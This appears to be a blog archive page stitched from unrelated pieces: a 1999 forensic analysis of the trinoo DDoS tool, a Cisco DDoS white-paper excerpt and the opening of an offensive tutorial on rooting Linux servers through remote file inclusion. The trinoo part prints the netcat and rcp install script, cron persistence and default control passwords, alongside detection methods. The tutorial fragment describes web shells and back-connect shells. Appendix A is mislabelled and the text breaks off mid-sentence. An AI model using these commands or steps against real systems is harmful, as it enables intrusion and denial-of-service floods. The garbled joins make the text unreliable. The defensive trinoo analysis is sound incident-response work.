Archive for the hacking Category

==========================================================================
The DoS Project's "trinoo" distributed denial of service attack tool
==========================================================================
David Dittrich <dittrich@cac.washington.edu>
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999
Introduction
------------
The following is an analysis of the DoS Project's "trinoo" (a.k.a.
"trin00") master/slave programs, which implement a distributed
network denial of service tool.
Trinoo daemons were originally found in binary form on a number of
Solaris 2.x systems, which were identified as having been compromised
by exploitation of buffer overrun bugs in the RPC services "statd",
"cmsd" and "ttdbserverd". These attacks are described in CERT
Incident Note 99-04:
http://www.cert.org/incident_notes/IN-99-04.html
The trinoo daemons were originally believed to be UDP based,
access-restricted remote command shells, possibly used in conjunction
with sniffers to automate recovering sniffer logs.
During investigation of these intrusions, the installation of a trinoo
network was caught in the act and the trinoo source code was obtained
from the account used to cache the intruders' tools and log files.
This analysis was done using this recovered source code.
Modification of the source code would change any of the details
in this analysis, such as prompts, passwords, commands, TCP/UDP port
numbers, or supported attack methods, signatures, and features.
The daemon was compiled and run on Solaris 2.5.1 and Red Hat Linux 6.0
systems. The master was compiled and run on Red Hat Linux 6.0. It is
believed that both master and daemon have been witnessed "in the
wild" on these same platforms.
Trinoo networks are probably being set up on hundreds, perhaps
thousands, of systems on the Internet that are being compromised by
remote buffer overrun exploitation. Access to these systems is
probably being perpetuated by the installation of multiple "back
doors" along with the trinoo daemons.
A trinoo network of at least 227 systems -- 114 of these at Internet2
sites -- was used on August 17, 1999 to flood a single system at the
University of Minnessota, swamping the target network and rendering it
unusable for over two days. While responding to this attack, large
flows were also noticed going to at least sixteen other systems, some
outside the US. (See Appendix D for a report of part of this trinoo
attack.)
Attack scenario
---------------
A typical installation might go something like this.
1). A stolen account is set up as a repository for pre-compiled
versions of scanning tools, attack (i.e. buffer overrun exploit)
tools, root kits and sniffers, trinoo daemon and master programs,
lists of vulnerable hosts and previously compromised hosts, etc. This
would normally be a large system with many users, one with little
administrative oversight, and on a high-bandwidth connection for rapid
file transfer.
2). A scan is performed of large ranges of network blocks to identify
potential targets. Targets would include systems running various
services known to have remotely exploitable buffer overflow security
bugs, such as wu-ftpd, RPC services for "cmsd", "statd",
"ttdbserverd", "amd", etc. Operating systems being targeted appear to
be primarily Sun Solaris 2.x and Linux (due to the ready availability
of network sniffers and "root kits" for concealing back doors, etc.),
but stolen accounts on any architecture can be used for caching tools
and log files.
3). A list of vulnerable systems is then used to create a script that
performs the exploit, sets up a command shell running under the root
account that listens on a TCP port (commonly 1524/tcp, the
"ingreslock" service port), and connects to this port to confirm the
success of the exploit. In some cases, an electronic mail message is
sent to an account at a free web based email service to confirm which
systems have been compromised.
The result is a list of "owned" systems ready for setting up
back doors, sniffers, or the trinoo daemons or masters.
4). From this list of compromised systems, subsets with the desired
architecture are chosen for the trinoo network. Pre-compiled binaries
of the trinoo daemon are created and stored on a stolen account
somewhere on the Internet.
5). A script is then run which takes this list of "owned" systems and
produces yet another script to automate the installation process,
running each installation in the background for maximum multitasking.
This script uses "netcat" ("nc") to pipe a shell script to the root
shell listening on, in this case, port 1524/tcp:
---------------------------------------------------------------------------
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
./trin.sh | nc 128.aaa.167.219 1524 &
./trin.sh | nc 128.aaa.187.38 1524 &
./trin.sh | nc 128.bbb.2.80 1524 &
./trin.sh | nc 128.bbb.2.81 1524 &
./trin.sh | nc 128.bbb.2.238 1524 &
./trin.sh | nc 128.ccc.12.22 1524 &
./trin.sh | nc 128.ccc.12.50 1524 &
. . .
---------------------------------------------------------------------------
The script "trin.sh", whose output is being piped to these systems,
looks like:
---------------------------------------------------------------------------
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"
echo "chmod +x /usr/sbin/rpc.listen"
echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"
echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
---------------------------------------------------------------------------
Depending on how closely crontab files are monitored, or if they are
used at all, this may be detected easily. If cron is not used at all
by this user (usually root), it may not be detected at all.
Another method was witnessed on at least one other system, where the
daemon was named "xterm", and was started using a script (named "c" on
the system on which it was found) that contains:
---------------------------------------------------------------------------
cd /var/adm/.1
PATH=.:$PATH
export PATH
xterm 1>/dev/null 2>&1
---------------------------------------------------------------------------
This would supposedly imply a method of running this script on demand
to set up the trinoo network.
Even more subtle ways of having trinoo daemons/masters lie in wait for
execution at a given time are easy to envision (e.g., UDP or ICMP
based client/server shells, such as LOKI (see Appendix C) , programs
that wake up periodically and open a listening TCP or UDP port, etc.)
The result of this automation is the ability for attackers to set up
the denial of service network, on widely dispersed systems whose true
owners don't even know are out of their control, in a very short time
frame.
6). Optionally, a "root kit" is installed on the system to hide the
presence of programs, files, and network connections. This is more
important on the master system, since these systems are key to the
trinoo network. (It should be noted that in many cases, masters have
been set up on Internet Service Providers' primary name server hosts,
which would normally have extremely high packet traffic and large
numbers of TCP and UDP connections, which would effectively hide any
trinoo related traffic or activity, and would likely not be detected.
(The fact that these are primary name servers would also tend to make
the owners less likely to take the system off the Internet when
reports begin to come in about suspected denial of service related
activity.)
Root kits would also be used on systems running sniffers that, along
with programs like "hunt" (TCP/IP session hijacking tool) are used to
burrow further into other networks directly, rather than through
remote buffer overrun exploits (e.g., to find sites to set up new file
repositories, etc.)
For more on "root kits" and some ways to get around them, see:
http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq
The network: attacker(s)-->master(s)-->daemon(s)-->victim(s)
------------------------------------------------------------
The trinoo network is made up of a master server ("master.c") and the
trinoo daemon ("ns.c"). A trinoo network would look like this:
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| master | | master | | master |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+
The attacker(s) control one or more "master" servers, each of which
can control many "daemons" (known in the code as "Bcast", or
"broadcast" hosts.) The daemons are all instructed to coordinate a
packet based attack against one or more victim systems.
All that is then needed is the ability to establish a TCP connection
to the master hosts using "telnet" and the password to the master
server to be able to wage massive, coordinated, denial of service
attacks.
Communication ports
-------------------
Attacker to Master(s): 27665/tcp
Master to daemon(s): 27444/udp
Daemon to Master(s): 31335/udp
Remote control of the trinoo master is accomplished via a TCP
connection to port 27665/tcp. After connecting, the user must give
the proper password ("betaalmostdone"). If another connection is made
to the server while someone is already authenticated, a warning is
sent to them with the IP address of the connecting host (it appears
there is a bug that reports incorrect IP addresses, but a warning is
still communicated). This will no doubt be fixed eventually and will
then give the attackers time to clean up and cover their tracks.
Communication from the trinoo master to daemons is via UDP packets
on port 27444/udp. Command lines are space separated lines of the
form:
arg1 password arg2
The default password for commands is "l44adsl", and only command lines
that contain the substring "l44" are processed.
Communication from the trinoo daemons and the master is via UDP
packets on port 31335/udp.
When the daemon starts, it initially sends "*HELLO*" to the master,
which maintains a list of active daemons that it controls (packet
captured using "sniffit"):
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
4C L 4F O 2A *
If the trinoo master sends a "png" command to a daemon on port
27444/udp, the daemon will reply to the server that just sent the "png"
command by sending the string "PONG" on port 31335/udp:
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G
Password protection
-------------------
Both the master and daemons are password protected to prevent
system administrators (or other hacker groups) from being able to take
control of the trinoo network. These passwords are crypt() style
passwords. They are used in a symmetric fashion, where the encrypted
password is compiled into the master and daemons and used to compare
against the clear-text version of the password that is sent over the
network (the current version does not encrypt the actual session, so the
clear-text passwords are exposed in transit and the master control
sessions are subject to TCP session highjacking).
When initially run, the master daemon produces a prompt, waiting
for a password. If the proper password is not received, the program
exits. If the proper password is given, the process announces its
execution, forks to continue running in the background, and exits:

./master

?? wrongpassword

. . .

./master

?? gOrave
trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]

Likewise, when you connect to the remote command port (default

27665/tcp), you must also give a password:
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host.
. . .
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo>
Certain commands sent to the trinoo daemons by the master are also
password protected. This password is sent in clear text between the
master and daemons.
The default passwords were:
"l44adsl" trinoo daemon password
"gOrave" trinoo master server startup ("?? " prompt)
"betaalmostdone" trinoo master remote interface password
"killme" trinoo master password to control "mdie" command
Master commands
---------------
The trinoo master supports the following commands:
die Shut down the master.
quit Log off the master.
mtimer N Set DoS timer to N seconds. N can be between 1 and 1999
seconds. If N is < 1, it defaults to 300. If N
is > 2000, it defaults to 500.
dos IP DoS the IP address specified. A command ("aaa l44adsl
IP") is sent to each Bcast host (i.e., trinoo daemons)
telling them to DoS the specified IP address.
mdie pass Disable all Bcast hosts, if the correct password is
specified. A command is sent ("d1e l44adsl") to each
Bcast host telling them to shut down. A separate
password is required for this command.
mping Send a PING command ("png l44adsl") to every active
Bcast host.
mdos <ip1:ip2:ip3>
Multiple DoS. Sends a multiple DoS command
("xyz l44adsl 123:ip1:ip2:ip3") to each Bcast host.
info Print version and compile information, e.g.:
This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c
Compiled 15:08:41 Aug 16 1999
msize Set the buffer size for packets sent during DoS attacks.
nslookup host Do a name service lookup of the specified host from
the perspective of the host on which the master
server is running.
killdead Attempts to weed out all dead Bcast hosts by first
sending all known Bcast hosts a command ("shi l44adsl")
that causes any active daemons to reply with the initial
"*HELLO*" string, then renames the Bcast file (with
extension "-b") so it will be re-initialized when the
"*HELLO*" packets are received.
usebackup Switch to the backup Bcast file created by the
"killdead" command.
bcast List all active Bcast hosts.
help [cmd] Give a (partial) list of commands, or a brief
description of the command "cmd" if specified.
mstop Attempts to stop a DoS attack (not implemented, but
listed in the help command).
Daemon commands
---------------
The trinoo daemon supports the following commands:
aaa pass IP DoS the specified IP address. Sends UDP packets to random
(0-65534) UDP ports on the specified IP addresses for
a period of time (default is 120 seconds, or 1 - 1999
seconds as set by the "bbb" command.) The size of the
packets is that set by the "rsz" command, or the default
size of 1000 bytes.
bbb pass N Sets time limit (in seconds) for DoS attacks.
shi pass Sends the string "*HELLO*" to the list of master servers
compiled into the program on port 31335/udp.
png pass Sends the string "PONG" to the master that issued the
the command on port 31335/udp.
d1e pass Shut down the trinoo daemon.
rsz N Set size of buffer for DoS attacks to N bytes.
(The trinoo daemon simply malloc()s a buffer with this
size, then sends the uninitialized contents of the
buffer during an attack.)
xyz pass 123:ip1:ip2:ip3
Multiple DoS. Does the same thing as the "aaa"
command, but for multiple IP addresses.
It could be coincidence, but I will give the author some credit and
assume that three letter commands were chosen so they don't show up in
the binary as visible strings under the default behavior of
STRINGS(1). You must use the "--bytes=3" option of GNU STRINGS(1) to
see the commands:

Fingerprints
------------
The method used to install the trinoo daemon on some systems employs
a crontab entry to start the daemon every minute. Examining crontab
files would locate this entry:

* * * * /usr/sbin/rpc.listen

The master program creates a file (default name "...") containing the
set of Bcast hosts. If the command "killdead" is used, an "shi" command
is sent to all daemons listed in "...", which causes them to send the
initial "*HELLO*" string to all masters. The current list is renamed
(default "...-b") and a new list is then generated as each remaining
live daemon sends its "*HELLO*".
The source code ("master.c") contains the following lines:
------------------------------------------------------------------------------
. . .
/* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?)
comment out for no encryption... */

define CRYPTKEY "ZsoTN.cq4X31"

. . .
------------------------------------------------------------------------------
If the program was compiled with CRYPTKEY defined, the IP addresses of
Bcast hosts are encrypted using the Blowfish encryption algorithm:

aE5sK0PIFws0Y0EhH02fLVK.
JPbUc05Swk/0gMvui18BrFH/
Assuming there is no "root kit" present to hide processes, the master
server shows the following network socket fingerprints (of course, the
names and directory locations of either program are subject to change):
------------------------------------------------------------------------------

ZsoTN.cq4X31 <=== CRYPTKEY
bored
NEW Bcast - %s
PONG
PONG %d Received from %s
Warning: Connection from %s
beUBZbLtK7kkY <=== crypt() encrypted password "betaalmostdone"
trinoo %s..[rpm8d/cb4Sx/]
. . .
DoS: usage: dos <ip>
DoS: Packeting %s.
aaa %s %s
mdie
ErDVt6azHrePE <=== crypt() encrypted password for "mdie" command
mdie: Disabling Bcasts.
d1e %s
mdie: password?
. . .
------------------------------------------------------------------------------
Next, and more vulnerable, is the daemon password, which travels the
network in clear text form. Assuming you know the UDP port on which the
master communicates to the client, you can capture the password using
"sniffit", "ngrep", "tcpdump", or any network monitoring program capable
of showing UDP packet data payloads (see Appendix A for a sample
session logged with "ngrep").
For example, here is the "png" command being sent to the trinoo daemon
as seen by "sniffit":
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
As was mentioned earlier, the "mdie" command in the trinoo master is
password protected in the master itself. There are a couple ways
to attack this.
If you can determine the crypt() encrypted string using the Unix
"strings" command, you could (potentially) use a password cracking
utility, such as "crack", and break it (see Appendix C). This may
take a LONG time if the password was well chosen, but it is feasible
(and the "killme" password for the "mdie" command was cracked in less
than 30 seconds on a Pentium II).
You could try to sniff the password on the wire between the attacker
and the master, but presumably this command would not be used by the
attackers often, if at all, since they want the daemons to be active
when needed for an attack.
You may have more luck sniffing the daemon password, since it is
required for most commands. This can be done on either the daemon's or
master's network (these are usually entirely different networks.) It
should be easier to accomplish on the daemon's network since there are
far more daemons than masters. Since many of the masters have been
found on primary name servers, presumably there would be more traffic
on high-numbered UDP ports on networks containing masters than on
networks containing daemons (outside of the duration of denial of
service attacks, that is.) Furthermore you will likely find several
daemons at a given site, possibly as a result of detecting the
original system compromise.
Once you have located a daemon, you have also found the list of IP
addresses of masters (use "strings" to see them.) You should
immediately contact these sites and convince them to closely inspect the
system for signs of intrusion, with likely "root kit" installations to
make this task more difficult, and attempt to coordinate a response.
Having found a master, the list of daemons (which will likely include
hosts at many other sites) can be obtained by simply identifying the
file which contains the list, if unencrypted. If, however, the file is
encrypted, you would either have to decrypt the Blowfish encrypted file
using the same key compiled into the program, or by taking control of
the master and using the "bcast" command.
It you have identified an active command session to a master, which is
a standard "telnet" style TCP session, you could hijack the session
using "hunt" and start executing commands. Not knowing the "mdie"
command password, you could not disable all the daemons directly, but
you COULD use the "bcast" command and get a list of all of them (you
would probably want to do this using the "script" command to generate
a transcript of the session, as this could be a very large list).
Once you know the addresses of all the daemons, and the daemon
password (visible in "strings" output), you could then send the proper
command string in UDP packets to any suspected trinoo daemon(s).
Creation and transmission of UDP packets can be accomplished with
tools like LibNet, Spak, the Perl Net::RawIP library, etc. (A Perl
script using Net::RawIP named "trinot" has been developed to
accomplish this task. See Appendix B).
As the typical installation of the daemon includes a crontab entry
that runs it every minute, you would have to constantly spray your
entire network to keep the daemons from re-starting. (This may be due
to programming bugs that cause the daemons to crash occasionally, or
may be to defeat system administrators who simply notice and kill the
process, but do not think to check for a crontab entry that re-starts
the daemon.)
The daemons can also be found on your network by sniffing the data
portion of UDP packets for the strings "*HELLO*" and "PONG", or any of
the command strings themselves for that matter (until the source is
modified to change these strings, of course.) The "ngrep" program
works nicely for this:
------------------------------------------------------------------------------

U 192.168.0.1:32888 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.3:32815 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.5:32798 -> 10.0.0.1:31335
50 4f 4e 47 PONG
. . .
------------------------------------------------------------------------------
While not weaknesses in trinoo itself, there are also weaknesses in
the way the trinoo networks are set up.
As mentioned earlier, some systems showed crontab entries used to
start the daemons once per minute. This leaves an obvious fingerprint
on crontab files.
The scripts observed to automate the installation of trinoo networks
use the Berkeley "rcp" command (use of rcp has also been observed in a
file upload capability built into newer versions of the "Tribe Flood
Network" daemon program). Monitoring "rcp" connections (514/tcp) from
multiple systems on your network, in quick succession, to a single IP
address outside your network would be a good trigger. (Note that the
use of "rcp" in a script requires an anonymous trust relationship,
usually in the form of "+ +" in a user's ~/.rhosts file, which also
will allow you to immediately archive the contents of this account
while contacting the owners to preserve evidence.)
(Further analysis of trinoo by George Weaver of Pennsylvania State
University and David Brumley of Stanford niversity is included in
Appendix E - Further methods of detecting trinoo. George deserves
special credit for attempting to hand-decompile a recovered SPARC
binary image! ;)
The next logical evolutionary steps
-----------------------------------
One of the easiest attacks to implement is the denial of service
attack. Many bugs exist in TCP/IP stacks, for example, that allow
fragmented packets, large packets, IP options, half-open TCP
connections, or floods of packets (highest bandwidth wins) etc., to
cause the system performance to be degraded, or actually crash the
system.
As each bug is found, an exploit program demonstrating the bug is
generally produced. Each of these exploit programs is generally
unique, exploiting a specific bug that may only affect a single TCP/IP
implementation (although with Microsoft having such a large market
share of personal computers, and many home users being almost totally
unaware of such bugs, let alone where to get and how to apply patches
to fix these bugs, the chances are high that a multi-exploit attack
will succeed in crashing the target system.)
These denial of service exploits are available from numerous sites
on the Internet, such as:
http://www.technotronic.com/denial.html
http://www.rootshell.com/
The next step was to combine multiple denial of service exploits
into one tool, using Unix shell scripts. One such tool, named "rape",
(according to the code it was written in 1998 by "mars", with
modifications by "TheVirus" and further code improvements by "ttol")
integrates the following exploits into a single shell script:
echo "Editted for use with www.ttol.base.org"
echo "rapeing $IP. using weapons:"
echo "latierra "
echo -n "teardrop v2 "
echo -n "newtear "
echo -n "boink "
echo -n "bonk "
echo -n "frag "
echo -n "fucked "
echo -n "troll icmp "
echo -n "troll udp "
echo -n "nestea2 "
echo -n "fusion2 "
echo -n "peace keeper "
echo -n "arnudp "
echo -n "nos "
echo -n "nuclear "
echo -n "ssping "
echo -n "pingodeth "
echo -n "smurf "
echo -n "smurf4 "
echo -n "land "
echo -n "jolt "
echo -n "pepsi "
A tool like this has the advantage of allowing an attacker to give a
single IP address and have multiple attacks be launched (increasing
the probability of successful attack), but meant having to have
pre-compiled versions of each individual exploit packaged up in a Unix
"tar" format archive, etc., for convenient transfer to a (usually
stolen) account from which to launch the attack.
To still allow multiple denial of service exploits to be used, but with
a single pre-compiled program that is more easy to store, transfer,
and use quickly, programs like "targa.c" by Mixter were developed.
Targa combines all of the following exploits in a single C source
program:
/* targa.c - copyright by Mixter <mixter@gmx.net>
version 1.0 - released 6/24/98 - interface to 8
multi-platform remote denial of service exploits

/

. . .
/* bonk by route|daemon9 & klepto

jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)

land by m3lt

nestea by humble & ttol

newtear by route|daemon9

syndrop by PineKoan

teardrop by route|daemon9

winnuke by _eci */

Even combined denial of service tools like "targa" still only allow
one attacker to hit one IP address at a time.
To increase the effectiveness of the attack, groups of attackers,
using IRC channels or telephone "voice bridges" for communication,
could coordinate attacks, each person hitting a different system.
This same coordination is being seen in probing for vulnerabilities,
and in system compromise and control using multiple back doors
and "root kits."
Even this has its limits, so in less than two years, it appears the
next logical step has been taken to combine the power of a number of
compromised systems into a distributed "denial of service cluster."
The "trinoo" tool is an example of this, as is another similar tool
available in the computer underground called the "Tribe Flood Network"
(or "TFN") by Mixter.
While trinoo only implements UDP flood attacks, TFN supports ICMP
flood, UDP flood, SYN flood, and Smurf style attacks, and is
controlled via commands sent as ICMP_ECHOREPLY (ICMP Type 0) packets.
It also employs Blowfish encryption, similar to trinoo. (TFN is
analyzed in a separate paper).
It is all but guaranteed that these tools will continue to follow this
trend and evolve into truly robust, covert, and distributed denial of
service attack tools that employ strong encryption of embedded
strings, passwords to control execution (possibly with trip wires
that self-destruct, or wipe the entire system disc, if run in the
wrong way, or by the wrong person), using encrypted communication
channels, and communicating using packets posing as protocols like
ICMP that are difficult to detect or block by firewalls.
--
David Dittrich <dittrich@cac.washington.edu>
http://staff.washington.edu/dittrich/
Appendix A: Example of network session captured with "ngrep"
------------------------------------------------------------
The following is an example of what an attack session would look
like when viewed with "ngrep".
------------------------------------------------------------------------------

if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
$cmd = ($opt_P) ? "png $pass" :
($opt_S) ? "shi $pass" :
($opt_D) ? "d1e $pass" :
"d1e $pass";
$s_host = ($opt_f) ? $opt_f : $hostname;
if ($opt_l) {
open(I,"<$opt_l") || die "could not open file: '$opt_l'";
while (<I>) {
chop;
push(@ARGV,$_);
}
close(I);
}
foreach $d_host (@ARGV) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
udp => {source => $s_port, dest => $d_port, data => $cmd}
});
print "sending '$cmd' to $d_host\n" if $opt_v;
$a->send;
}
exit(0);
------------------------------- cut here -----------------------------------
Appendix C - References
-----------------------
TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary
R. Wright., Addison-Wesley.
lsof:
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/
tcpdump:
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z
hunt:
http://www.cri.cz/kra/index.html
sniffit:
http://sniffit.rug.ac.be/sniffit/sniffit.html
ngrep:
http://www.packetfactory.net/ngrep/
loki client/server:
Phrack Magazine, Volume Seven, Issue Forty-Nine,
File 06 of 16, [ Project Loki ]
http://www.phrack.com/search.phtml?view&article=p49-6
Phrack Magazine Volume 7, Issue 51 September 01, 1997,
article 06 of 17 [ L O K I 2 (the implementation) ]
http://www.phrack.com/search.phtml?view&article=p51-6
LibNet:
http://www.packetfactory.net/libnet/
Net::RawIP:
http://quake.skif.net/RawIP
crack:
http://www.crypto.dircon.co.uk/
Password cracking utilities:
http://packetstorm.securify.com/Crackers/
targa.c:
http://packetstorm.securify.com/exploits/DoS/targa.c
Appendix D - Abbreviated report of actual trinoo attack.
------------------------------------------------------
The following is an abbreviated version the initial report sent out by
Susan Levy Haskell of the University of Minnesota. This report,
which only concerns a small time span in the three day attack, showed
227 unique attacking systems, 114 of which were at Internet 2 sites.
(The actual list of attacking systems, all of which are also root
compromised victims in their own right, have been removed. A complete
report of all unique attacking IP addresses over the three day period
is not available.)
Just to show what a large trinoo network could do, consider that a file
(named "owned.log") containing 888 IP addresses was found same location
as the trinoo source code analyzed here (which is assumed to be the same
code as that used for the attack). Another file in that directory
(named "216") contains addresses of 10549 systems on 216.0.0.0/8
netblocks, and is assumed to be a list of potential targets for
compromise and trinoo daemon/master installation. Rumors on Usenet
newsgroups and Slashdot put the number of systems controlled by this
group in the 3000+ range.
----------------------------------------------------------------------------
Hello:
This is a notification that a system at your site apparently was used in
a large-scale UDP flood on a system at the University of Minnesota. The
hosts below have been involved in a series of escalating large-scale
denials-of-service that are flooding the University of Minnesota off the
internet. They are periodic, but expanding in the number of hosts used
to attack.
We would like to hear about it if you can confirm whether your system(s)
were used. We're also *very* interested in any information about this
tool (since it appears to be new, and quite effective). Thus far, all
hosts used in this attack appear to have been Solaris 2.x systems that
were compromised using the recently-announced rpc.cmsd exploits (see
http://www.cert.org/advisories/CA-99-08-cmsd.html for details).
The following are lists of hosts apparently used, and the period of use.
We're certain about the timestamps--they're in CDT (-500)--but as with
all such floods, they ramp up and tail off. Since we're getting data in
ten-minute slices, the times are approximate.
The floods use unforged source IPs and consistent UDP source-ports. The
destination ports are random, aimed at 160.94.196.192.
The packets are 32-byte UDP (and each flow represents many packets).
I've included profile information below, rather than log excerpts,
because these run to many GB. If you would like Cisco net-flow excerpts
to demostrate the behavior, please reply to this message & ask.
All attacks have been launched at 160.94.196.192 (irc2.tc.umn.edu).
And, as I mentioned, all times are in CDT (-500) from an ntp-slaved log
host (for the ten-minute segments).
Thank you.
-susan
--
Susan B. Levy Haskell / sblh@nts.umn.edu / voice: (612) 626-8639
Security Incident Response Coordinator fax: (612) 626-1002
Networking and Telecommunications Services, University of Minnesota

** To report a security incident in progress, call (612) 625-0006 ***

=================================================
Appendix E - Further methods of detecting trinoo
------------------------------------------------
Authors: David Brumley <dbrumley@stanford.edu>
David Dittrich <dittrich@cac.washington.edu>
George Weaver <gmw@psu.edu>
Detecting Trinoo
Currently Trinoo has several signatures that allow it to be detected from
IP flow records.
Trinoo Daemon (ns.c) -
1. The trinoo daemon by default listens to UDP port 27444
2. All communication with the trinoo daemon must have the string l44
(ell 44).
3. The SYN flood mechanism picks the destination port via the following
algorithm:
to.syn_port = htons(rand() % 65534)
Several observations can be made:
a. randomize()/srandom() is never called, so the destination port
will always fit the following algorithm:
SYN packet 1 has destination port x
SYN packet 2 has destination port y as defined by
srandom(x); y = rand();
SYN packet 3 has destination port z as defined by
srandom(y); z = rand();
b. Since the port is a result of modulus 65534, destination port 0
will show up, while destination port 65535 will not.
IDS detection of daemon:
1. Look for UDP connections to destination port 27444. This is indicative
of the control session.
2. The string l44 will determine with a large probability that the packet
is part of a trinoo control session.
3. Running trinoo DoS attacks (SYN Floods) can be identified by the
algorithm given in 3 above. In addition, if you can catch the first SYN,
it will *always* be the result of srand(1); rand();. On one authors
laptop, an example sequence of destination ports would be:
32540
48264
58208
56084
46021
37263
6890
38941
17766
40714
Although this doesn't stop the Denial of Service, it will say with some
probability this is a trinoo attack, and you should start looking for a
master!
Detecting the trinoo daemon on your network:
1. Trinoo daemons can be indexed by a master by sending a png command.
Live daemons will respond with a PONG. The original author probably added
this so the master can see which daemons are still alive. You can scan a
network with the attached program for anything that responds appropriately
(which chances are is a trinoo daemon).
Trinoo Server (master.c) -
The network communications that are indicative of a trinoo server are:
1. Sending UDP packets with destination port 27444
2. UDP packets as described above with the string l44adsl (ell 44 a d s
ell)
3. A server will bind to port 27665
IDS detecting the trinoo server:
1. Look for flows with protocol type 17 (UDP)
2. TCP connections (protocol type 6) to destination port 27665 (the trinoo
server)
Detecting the Trinoo server of your network:
1. The server password hasn't changed (to the best of the authors
knowledge), nor has the port it listens to. Trinoo possible masters can
be detected by using a tool like nmap to find hosts listening to port
27665, i.e.
nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*"
After a list of possible servers has been compiled, automated login can be
used for positive identification. If you wish to script the automated
login, try netcat (nc on most systems), i.e.
echo "betaalmostdone" | nc <IP> 27665
NOTE:
Your mileage may vary with the random number prediction since it's very
host specific - what does rand() really return? Consult your
documentation.
Dikutip dari artikel cisco system.

This white paper contains information to help you understand how DDoS attacks are orchestrated, recognize programs used to facilitate DDoS attacks, apply measures to prevent the attacks, gather forensic information if you suspect an attack, and learn more about host security.

Behind a Client is a person that orchestrate an attack. A Handler is a compromised host with a special program running on it. Each handler is capable of controlling multiple agents. An Agent is a compromised host that is running a special program. Each agent is responsible for generating a stream of packets that is directed toward the intended victim.

Attackers have been known to use the following 4 programs to launch DDoS attacks: Trinoo, TFN, TFN2K and Stacheldraht.

In order to facilitate DDoS, the attackers need to have several hundred to several thousand compromised hosts. The hosts are usually Linux and SUN computers; however, the tools can be ported to other platforms as well. The process of compromising a host and installing the tool is automated. The process can be divided into the following steps, in which the attackers:

Initiate a scan phase in which a large number of hosts (on the order of 100,000 or more) are probed for a known vulnerability.

Compromise the vulnerable hosts to gain access.

Install the tool on each host.

Use the compromised hosts for further scanning and compromises.

Because an automated process is used, attackers can compromise and install the tool on a single host in under 5 seconds. In other words, several thousand hosts can be compromised in under an hour.

Communication between clients, handlers and agents use the following ports:

16660 tcp
65000 tcp
ICMP ECHO
ICMP ECHO REPLY

Note: The ports listed above are the default ports for this tool. Use these ports for orientation and example only, because the port numbers can easily be changed.

TFN2K

Communication between clients, handlers and agents does not use any specific port (it may be supplied on run time or it will be chosen randomly by a program) but is a combination of UDP, ICMP and TCP packets.

For a detailed analysis of DDoS programs, read the following articles.

Note: The following links point to external web sites not maintained by Cisco Systems

R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)
notice:
You will need:
– Vulnerable Site in R.F.I.
– Shell for R.F.I. (e.g. c99, r57 or other)
– NetCat
– Local Root Exploit (depending on the kernel and the version)
This aim tutorial is to give a very general picture in process of Rooting
in Linux Server with Safe Mod: OFF.

where evilscript.txt is our web shell that we have already uploaded to
our site. (www.mysite.com in the folder: shells)
After we enter in shell, first of all we will see the version of the kernel
at the top of the page or by typing: uname – a in Command line.
To continue we must connect with backconnection to the box. This can done with
two ways if we have the suitable shell.
We can use the Back-Connect module of r57/c99 shell or to upload a backconnector
in a writable folder
In most of the shells there is a backconnection feature without to upload the
Connect Back Shell (or another one shell in perl/c). We will analyze the first
